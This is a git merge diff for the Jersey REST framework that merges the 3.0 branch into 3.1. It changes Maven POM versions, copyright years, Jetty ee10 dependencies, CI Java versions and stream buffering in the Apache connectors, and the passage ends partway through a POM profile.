Merge remote-tracking branch 'upstream/3.0' into 'upstream/3.1' Signed-off-by: Maxim Nesen <maxim.nesen@oracle.com>
diff --git a/.github/workflows/maven.yml b/.github/workflows/maven.yml index 7763e3e..b047d80 100644 --- a/.github/workflows/maven.yml +++ b/.github/workflows/maven.yml
@@ -23,8 +23,8 @@ strategy: matrix: - java_version: [ 11 ] - verify_profiles: [ '-Plicense_check' ] + java_version: [ 21 ] + verify_profiles: [ '-Plicense_check,staging' ] continue-on-error: false steps:
diff --git a/.github/workflows/validate.yml b/.github/workflows/validate.yml index 5748a52..ddf4e77 100644 --- a/.github/workflows/validate.yml +++ b/.github/workflows/validate.yml
@@ -15,7 +15,7 @@ on: [pull_request, push] env: - JAVA_VERSION: '8' + JAVA_VERSION: '21' JAVA_DISTRO: 'temurin' concurrency:
diff --git a/NOTICE.md b/NOTICE.md index b245c38..4f33066 100644 --- a/NOTICE.md +++ b/NOTICE.md
@@ -43,11 +43,11 @@ Bean Validation API 3.0.2 * License: Apache License, 2.0 -* Project: http://beanvalidation.org/1.1/ +* Project: https://projects.eclipse.org/projects/ee4j.bean-validation * Copyright: 2009, Red Hat, Inc. and/or its affiliates, and individual contributors * by the @authors tag. -Hibernate Validator CDI, 7.0.5.Final +Hibernate Validator CDI, 8.0.1.Final * License: Apache License, 2.0 * Project: https://beanvalidation.org/ * Repackaged in org.glassfish.jersey.server.validation.internal.hibernate
diff --git a/archetypes/jersey-example-java8-webapp/pom.xml b/archetypes/jersey-example-java8-webapp/pom.xml index 6d0233b..3a9760c 100644 --- a/archetypes/jersey-example-java8-webapp/pom.xml +++ b/archetypes/jersey-example-java8-webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.archetypes</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-example-java8-webapp</artifactId>
diff --git a/archetypes/jersey-example-java8-webapp/src/main/resources/archetype-resources/pom.xml b/archetypes/jersey-example-java8-webapp/src/main/resources/archetype-resources/pom.xml index af777dd..3d79423 100644 --- a/archetypes/jersey-example-java8-webapp/src/main/resources/archetype-resources/pom.xml +++ b/archetypes/jersey-example-java8-webapp/src/main/resources/archetype-resources/pom.xml
@@ -125,7 +125,7 @@ </profiles> <properties> - <java.version>1.8</java.version> + <java.version>11</java.version> <jersey.config.test.container.port>8080</jersey.config.test.container.port> </properties> </project>
diff --git a/archetypes/jersey-heroku-webapp/pom.xml b/archetypes/jersey-heroku-webapp/pom.xml index a3b4e18..fa49fbd 100644 --- a/archetypes/jersey-heroku-webapp/pom.xml +++ b/archetypes/jersey-heroku-webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.archetypes</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <packaging>maven-archetype</packaging>
diff --git a/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/pom.xml b/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/pom.xml index 3afa9e3..edfed3d 100644 --- a/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/pom.xml +++ b/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/pom.xml
@@ -38,14 +38,14 @@ </dependency> --> <dependency> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-servlet</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-servlet</artifactId> <version>\${jetty.version}</version> <scope>provided</scope> </dependency> <dependency> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-webapp</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-webapp</artifactId> <version>\${jetty.version}</version> <scope>provided</scope> </dependency> @@ -89,8 +89,8 @@ </executions> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> <version>\${jetty.version}</version> <configuration> <contextPath>/</contextPath>
diff --git a/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/src/main/java/heroku/Main.java b/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/src/main/java/heroku/Main.java index 06594bf..30d0665 100644 --- a/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/src/main/java/heroku/Main.java +++ b/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/src/main/java/heroku/Main.java
@@ -1,7 +1,7 @@ package ${package}.heroku; import org.eclipse.jetty.server.Server; -import org.eclipse.jetty.webapp.WebAppContext; +import org.eclipse.jetty.ee10.webapp.WebAppContext; /** * This class launches the web application in an embedded Jetty container. This is the entry point to your application. The Java @@ -30,7 +30,7 @@ final String webappDirLocation = "src/main/webapp/"; root.setDescriptor(webappDirLocation + "/WEB-INF/web.xml"); - root.setResourceBase(webappDirLocation); + root.setBaseResourceAsString(webappDirLocation); server.setHandler(root);
diff --git a/archetypes/jersey-quickstart-grizzly2/pom.xml b/archetypes/jersey-quickstart-grizzly2/pom.xml index b0a9775..dd1ba0c 100644 --- a/archetypes/jersey-quickstart-grizzly2/pom.xml +++ b/archetypes/jersey-quickstart-grizzly2/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -21,7 +21,7 @@ <parent> <groupId>org.glassfish.jersey.archetypes</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-quickstart-grizzly2</artifactId> <packaging>maven-archetype</packaging>
diff --git a/archetypes/jersey-quickstart-webapp/pom.xml b/archetypes/jersey-quickstart-webapp/pom.xml index 32e2969..4af18fa 100644 --- a/archetypes/jersey-quickstart-webapp/pom.xml +++ b/archetypes/jersey-quickstart-webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -21,7 +21,7 @@ <parent> <groupId>org.glassfish.jersey.archetypes</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion> <packaging>maven-archetype</packaging>
diff --git a/archetypes/pom.xml b/archetypes/pom.xml index e41beee..2510918 100644 --- a/archetypes/pom.xml +++ b/archetypes/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.archetypes</groupId>
diff --git a/bom/pom.xml b/bom/pom.xml index 1b7d7f5..1460faa 100644 --- a/bom/pom.xml +++ b/bom/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -30,7 +30,7 @@ <groupId>org.glassfish.jersey</groupId> <artifactId>jersey-bom</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> <packaging>pom</packaging> <name>jersey-bom</name> @@ -80,11 +80,21 @@ </dependency> <dependency> <groupId>org.glassfish.jersey.connectors</groupId> + <artifactId>jersey-jnh-connector</artifactId> + <version>${project.version}</version> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.connectors</groupId> <artifactId>jersey-jetty-connector</artifactId> <version>${project.version}</version> </dependency> <dependency> <groupId>org.glassfish.jersey.connectors</groupId> + <artifactId>jersey-jetty11-connector</artifactId> + <version>${project.version}</version> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.connectors</groupId> <artifactId>jersey-jetty-http2-connector</artifactId> <version>${project.version}</version> </dependency> @@ -105,6 +115,11 @@ </dependency> <dependency> <groupId>org.glassfish.jersey.containers</groupId> + <artifactId>jersey-container-jetty11-http</artifactId> + <version>${project.version}</version> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.containers</groupId> <artifactId>jersey-container-jetty-http2</artifactId> <version>${project.version}</version> </dependency> @@ -401,6 +416,11 @@ </dependency> <dependency> <groupId>org.glassfish.jersey.test-framework.providers</groupId> + <artifactId>jersey-test-framework-provider-jetty-http2</artifactId> + <version>${project.version}</version> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.test-framework.providers</groupId> <artifactId>jersey-test-framework-provider-netty</artifactId> <version>${project.version}</version> </dependency>
diff --git a/bundles/apidocs/pom.xml b/bundles/apidocs/pom.xml index b7c9921..eefb965 100644 --- a/bundles/apidocs/pom.xml +++ b/bundles/apidocs/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.bundles</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>apidocs</artifactId> @@ -87,6 +87,11 @@ </dependency> <dependency> <groupId>org.glassfish.jersey.connectors</groupId> + <artifactId>jersey-jnh-connector</artifactId> + <version>${project.version}</version> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.connectors</groupId> <artifactId>jersey-jdk-connector</artifactId> <version>${project.version}</version> </dependency> @@ -97,11 +102,6 @@ </dependency> <dependency> <groupId>org.glassfish.jersey.connectors</groupId> - <artifactId>jersey-jetty-http2-connector</artifactId> - <version>${project.version}</version> - </dependency> - <dependency> - <groupId>org.glassfish.jersey.connectors</groupId> <artifactId>jersey-netty-connector</artifactId> <version>${project.version}</version> </dependency> @@ -139,6 +139,11 @@ </dependency> <dependency> <groupId>org.glassfish.jersey.containers</groupId> + <artifactId>jersey-container-jetty-http</artifactId> + <version>${project.version}</version> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.containers</groupId> <artifactId>jersey-container-grizzly2-http</artifactId> <version>${project.version}</version> </dependency> @@ -164,6 +169,22 @@ <version>${project.version}</version> </dependency> <dependency> + <groupId>com.fasterxml.jackson.module</groupId> + <artifactId>jackson-module-jaxb-annotations</artifactId> + <exclusions> + <exclusion> + <groupId>jakarta.xml.bind</groupId> + <artifactId>jakarta.xml.bind-api</artifactId> + </exclusion> + <exclusion> + <groupId>jakarta.activation</groupId> + <artifactId>jakarta.activation-api</artifactId> + </exclusion> + </exclusions> + <optional>true</optional> + <scope>provided</scope> + </dependency> + <dependency> <groupId>org.glassfish.jersey.media</groupId> <artifactId>jersey-media-json-jettison</artifactId> <version>${project.version}</version> @@ -249,54 +270,6 @@ <version>${project.version}</version> </dependency> </dependencies> - <profiles> - <profile> - <id>JettyExclude</id> - <activation> - <jdk>1.8</jdk> - </activation> - <properties> - <jetty.version>${jetty9.version}</jetty.version> - </properties> - <dependencies> - <dependency> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-client</artifactId> - <version>${jetty.version}</version> - </dependency> - <dependency> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-util</artifactId> - <version>${jetty.version}</version> - </dependency> - </dependencies> - </profile> - <profile> - <id>jetty2x</id> - <activation> - <activeByDefault>false</activeByDefault> - </activation> - <dependencies> - <dependency> - <groupId>org.glassfish.jersey.ext.microprofile</groupId> - <artifactId>jersey-mp-rest-client</artifactId> - <version>${project.version}</version> - </dependency> - <!-- media --> - <dependency> - <groupId>org.glassfish.jersey.media</groupId> - <artifactId>jersey-media-json-jackson1</artifactId> - <version>${project.version}</version> - </dependency> - <!-- connectors --> - <dependency> - <groupId>org.glassfish.jersey.connectors</groupId> - <artifactId>jersey-helidon-connector</artifactId> - <version>${project.version}</version> - </dependency> - </dependencies> - </profile> - </profiles> <build> <plugins> <plugin> @@ -312,8 +285,13 @@ <includeDependencySources>true</includeDependencySources> <sourceFileExcludes> <fileExclude>META-INF/versions/12/org/glassfish/jersey/wadl/doclet/*.java</fileExclude> + <fileExclude>META-INF/versions/17/org/glassfish/jersey/jetty/*.java</fileExclude> + <fileExclude>META-INF/versions/17/org/glassfish/jersey/jetty/connector/*.java</fileExclude> <fileExclude>META-INF/versions/17/org/glassfish/jersey/helidon/connector/*.java</fileExclude> <fileExclude>org/glassfish/jersey/helidon/connector/*.java</fileExclude> + <fileExclude>org/glassfish/jersey/jetty/*.java</fileExclude> + <fileExclude>org/glassfish/jersey/jetty/connector/*.java</fileExclude> + <fileExclude>org/glassfish/jersey/wadl/doclet/*.java</fileExclude> </sourceFileExcludes> <dependencySourceIncludes> <dependencySourceInclude>org.glassfish.jersey.*:*</dependencySourceInclude> @@ -335,6 +313,70 @@ </execution> </executions> </plugin> + <plugin> + <groupId>org.apache.maven.plugins</groupId> + <artifactId>maven-enforcer-plugin</artifactId> + <configuration> + <skip>true</skip> + </configuration> + </plugin> </plugins> </build> + <profiles> + <profile> + <id>jetty11</id> + <activation> + <activeByDefault>true</activeByDefault> + </activation> + <properties> + <jetty.version>${jetty11.version}</jetty.version> + </properties> + <dependencyManagement> + <dependencies> + <dependency> + <groupId>org.glassfish.jersey.connectors</groupId> + <artifactId>jersey-jetty11-connector</artifactId> + <version>${project.version}</version> + </dependency> + <!--<dependency> + <groupId>org.glassfish.jersey.connectors</groupId> + <artifactId>jersey-jetty11-http2-connector</artifactId> + <version>${project.version}</version> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.containers</groupId> + <artifactId>jersey-container-jetty11-http</artifactId> + <version>${project.version}</version> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.containers</groupId> + <artifactId>jersey-container-jetty11-http2</artifactId> + <version>${project.version}</version> + </dependency>--> <!-- TODO - HTTP/2 support for Jetty 12 container --> + </dependencies> + </dependencyManagement> + <dependencies> + <dependency> + <groupId>org.glassfish.jersey.connectors</groupId> + <artifactId>jersey-jetty11-connector</artifactId> + <version>${project.version}</version> + </dependency> + <!--<dependency> + <groupId>org.glassfish.jersey.connectors</groupId> + <artifactId>jersey-jetty11-http2-connector</artifactId> + <version>${project.version}</version> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.containers</groupId> + <artifactId>jersey-container-jetty11-http</artifactId> + <version>${project.version}</version> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.containers</groupId> + <artifactId>jersey-container-jetty11-http2</artifactId> + <version>${project.version}</version> + </dependency>--> <!-- TODO - HTTP/2 support for Jetty 12 container --> + </dependencies> + </profile> + </profiles> </project>
diff --git a/bundles/examples/pom.xml b/bundles/examples/pom.xml index 48d44ac..1010841 100644 --- a/bundles/examples/pom.xml +++ b/bundles/examples/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -24,7 +24,7 @@ <parent> <groupId>org.glassfish.jersey.bundles</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-examples</artifactId> @@ -198,6 +198,13 @@ </dependency> <dependency> <groupId>org.glassfish.jersey.examples</groupId> + <artifactId>groovy</artifactId> + <version>${project.version}</version> + <classifier>project-src</classifier> + <type>zip</type> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.examples</groupId> <artifactId>helloworld</artifactId> <version>${project.version}</version> <classifier>project-src</classifier> @@ -728,23 +735,7 @@ </plugin> </plugins> </build> - - <profiles> - <profile> - <id>groovy_jdk_11</id> - <activation> - <jdk>[11,)</jdk> - </activation> - <dependencies> - <dependency> - <groupId>org.glassfish.jersey.examples</groupId> - <artifactId>groovy</artifactId> - <version>${project.version}</version> - <classifier>project-src</classifier> - <type>zip</type> - </dependency> - </dependencies> - </profile> - </profiles> - + <properties> + <enforcer.skip>true</enforcer.skip> + </properties> </project>
diff --git a/bundles/jaxrs-ri/pom.xml b/bundles/jaxrs-ri/pom.xml index e6a7a7f..51fca8d 100644 --- a/bundles/jaxrs-ri/pom.xml +++ b/bundles/jaxrs-ri/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.bundles</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jaxrs-ri</artifactId> @@ -182,7 +182,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> <dependency> @@ -256,7 +255,7 @@ <includeGroupIds>jakarta.ws.rs,org.glassfish.jersey.core,org.glassfish.jersey.containers,org.glassfish.jersey.jaxb,org.glassfish.jersey.inject</includeGroupIds> <includeClassifiers>sources</includeClassifiers> <outputDirectory>${generated.src.dir}</outputDirectory> - <excludes>**/NOTICE.md,**/NOTICE.markdown</excludes> + <excludes>module-info.*,META-INF/MANIFEST.MF,**/NOTICE.md,**/NOTICE.markdown</excludes> </configuration> </execution> </executions> @@ -280,9 +279,9 @@ jersey.repackaged.org.objectweb.asm.*;version=${project.version} </Export-Package> <Import-Package><![CDATA[ - jakarta.servlet.annotation.*;resolution:=optional;version="[5.0,6.0)", - jakarta.servlet.descriptor.*;resolution:=optional;version="[5.0,6.0)", - jakarta.servlet.*;version="[5.0,6.0)", + jakarta.servlet.annotation.*;resolution:=optional;version="[5.0,7.0)", + jakarta.servlet.descriptor.*;resolution:=optional;version="[5.0,7.0)", + jakarta.servlet.*;version="[5.0,7.0)", ${jakarta.annotation.osgi.version}, jakarta.persistence.*;resolution:=optional, jakarta.validation.*;resolution:=optional;version="[3,4)",
diff --git a/bundles/pom.xml b/bundles/pom.xml index 052dfb7..ebbb1d7 100644 --- a/bundles/pom.xml +++ b/bundles/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -24,7 +24,7 @@ <parent> <groupId>org.glassfish.jersey</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.bundles</groupId>
diff --git a/connectors/apache-connector/pom.xml b/connectors/apache-connector/pom.xml index 82efb18..68576f5 100644 --- a/connectors/apache-connector/pom.xml +++ b/connectors/apache-connector/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.connectors</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-apache-connector</artifactId>
diff --git a/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheConnector.java b/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheConnector.java index dd3c4c4..8af222a 100644 --- a/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheConnector.java +++ b/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheConnector.java
@@ -744,7 +744,8 @@ if (i.markSupported()) { inputStream = i; } else { - inputStream = new BufferedInputStream(i, ReaderWriter.BUFFER_SIZE); + inputStream = ReaderWriter.AUTOSIZE_BUFFER ? new BufferedInputStream(i) + : new BufferedInputStream(i, ReaderWriter.BUFFER_SIZE); } }
diff --git a/connectors/apache5-connector/pom.xml b/connectors/apache5-connector/pom.xml index 88723e6..1c00ea6 100644 --- a/connectors/apache5-connector/pom.xml +++ b/connectors/apache5-connector/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0"?> <!-- - Copyright (c) 2022, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2022, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.connectors</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-apache5-connector</artifactId>
diff --git a/connectors/apache5-connector/src/main/java/org/glassfish/jersey/apache5/connector/Apache5Connector.java b/connectors/apache5-connector/src/main/java/org/glassfish/jersey/apache5/connector/Apache5Connector.java index d797f11..99e5c7a 100644 --- a/connectors/apache5-connector/src/main/java/org/glassfish/jersey/apache5/connector/Apache5Connector.java +++ b/connectors/apache5-connector/src/main/java/org/glassfish/jersey/apache5/connector/Apache5Connector.java
@@ -755,7 +755,8 @@ if (i.markSupported()) { inputStream = i; } else { - inputStream = new BufferedInputStream(i, ReaderWriter.BUFFER_SIZE); + inputStream = ReaderWriter.AUTOSIZE_BUFFER ? new BufferedInputStream(i) + : new BufferedInputStream(i, ReaderWriter.BUFFER_SIZE); } }
diff --git a/connectors/grizzly-connector/pom.xml b/connectors/grizzly-connector/pom.xml index 2b25a35..e1fa590 100644 --- a/connectors/grizzly-connector/pom.xml +++ b/connectors/grizzly-connector/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.connectors</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-grizzly-connector</artifactId>
diff --git a/connectors/helidon-connector/pom.xml b/connectors/helidon-connector/pom.xml index 8453f9b..d96442a 100644 --- a/connectors/helidon-connector/pom.xml +++ b/connectors/helidon-connector/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.connectors</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion> @@ -81,6 +81,7 @@ <artifactId>maven-javadoc-plugin</artifactId> <configuration> <source>8</source> + <detectJavaApiLink>false</detectJavaApiLink> </configuration> </plugin> </plugins>
diff --git a/connectors/jdk-connector/pom.xml b/connectors/jdk-connector/pom.xml index c3b8301..d279a0d 100644 --- a/connectors/jdk-connector/pom.xml +++ b/connectors/jdk-connector/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.connectors</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-jdk-connector</artifactId> @@ -34,6 +34,8 @@ <properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> + <!-- https://bugs.openjdk.java.net/browse/JDK-8211426 --> + <surefire.security.argline>-Djdk.tls.server.protocols=TLSv1.2</surefire.security.argline> </properties> <dependencies> @@ -105,16 +107,6 @@ </build> </profile> <profile> - <id>jdk11+</id> - <activation> - <jdk>[11,)</jdk> - </activation> - <properties> - <!-- https://bugs.openjdk.java.net/browse/JDK-8211426 --> - <surefire.security.argline>-Djdk.tls.server.protocols=TLSv1.2</surefire.security.argline> - </properties> - </profile> - <profile> <id>disable_tls1and11</id> <!-- TLS 1 and TLS 1.1 are disabled for JDK 16 --> <activation> @@ -137,5 +129,4 @@ </build> </profile> </profiles> - </project>
diff --git a/connectors/jetty-connector/pom.xml b/connectors/jetty-connector/pom.xml index 86876ec..bb9cf6c 100644 --- a/connectors/jetty-connector/pom.xml +++ b/connectors/jetty-connector/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.connectors</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-jetty-connector</artifactId> @@ -34,10 +34,10 @@ <properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> - <java8.build.outputDirectory>${project.basedir}/target</java8.build.outputDirectory> - <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory> - <java11.build.outputDirectory>${project.basedir}/target11</java11.build.outputDirectory> + <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory> <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory> + <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory> + <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory> </properties> <dependencies> @@ -51,16 +51,6 @@ </exclusion> </exclusions> </dependency> - <dependency> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-util</artifactId> - <exclusions> - <exclusion> - <groupId>org.slf4j</groupId> - <artifactId>slf4j-api</artifactId> - </exclusion> - </exclusions> - </dependency> <dependency> <groupId>org.glassfish.jersey.media</groupId> @@ -74,18 +64,28 @@ <version>${project.version}</version> <scope>test</scope> </dependency> -<!-- <dependency>--> -<!-- <groupId>org.glassfish.jersey.media</groupId>--> -<!-- <artifactId>jersey-media-json-jackson</artifactId>--> -<!-- <version>${project.version}</version>--> -<!-- <scope>test</scope>--> -<!-- </dependency>--> + <dependency> + <groupId>org.glassfish.jersey.media</groupId> + <artifactId>jersey-media-json-jackson</artifactId> + <version>${project.version}</version> + <scope>test</scope> + </dependency> <dependency> <groupId>org.glassfish.jersey.test-framework.providers</groupId> <artifactId>jersey-test-framework-provider-jetty</artifactId> <version>${project.version}</version> <scope>test</scope> </dependency> + <dependency> + <groupId>jakarta.xml.bind</groupId> + <artifactId>jakarta.xml.bind-api</artifactId> + <scope>test</scope> + </dependency> + <dependency> + <groupId>com.sun.xml.bind</groupId> + <artifactId>jaxb-osgi</artifactId> + <scope>test</scope> + </dependency> </dependencies> <build> @@ -105,21 +105,6 @@ <artifactId>maven-compiler-plugin</artifactId> </plugin> <plugin> - <!-- TODO remove after jakartification --> - <groupId>org.apache.maven.plugins</groupId> - <artifactId>maven-surefire-plugin</artifactId> - <executions> - <execution> - <id>default-test</id> <!-- jakartification-excluded-tests --> - <configuration> - <excludes> - <exclude>org/glassfish/jersey/jetty/connector/EntityTest.java</exclude> - </excludes> - </configuration> - </execution> - </executions> - </plugin> - <plugin> <groupId>org.apache.felix</groupId> <artifactId>maven-bundle-plugin</artifactId> <inherited>true</inherited> @@ -139,72 +124,11 @@ <profile> <id>JettyExclude</id> <activation> - <jdk>1.8</jdk> + <jdk>[11,17)</jdk> </activation> <properties> - 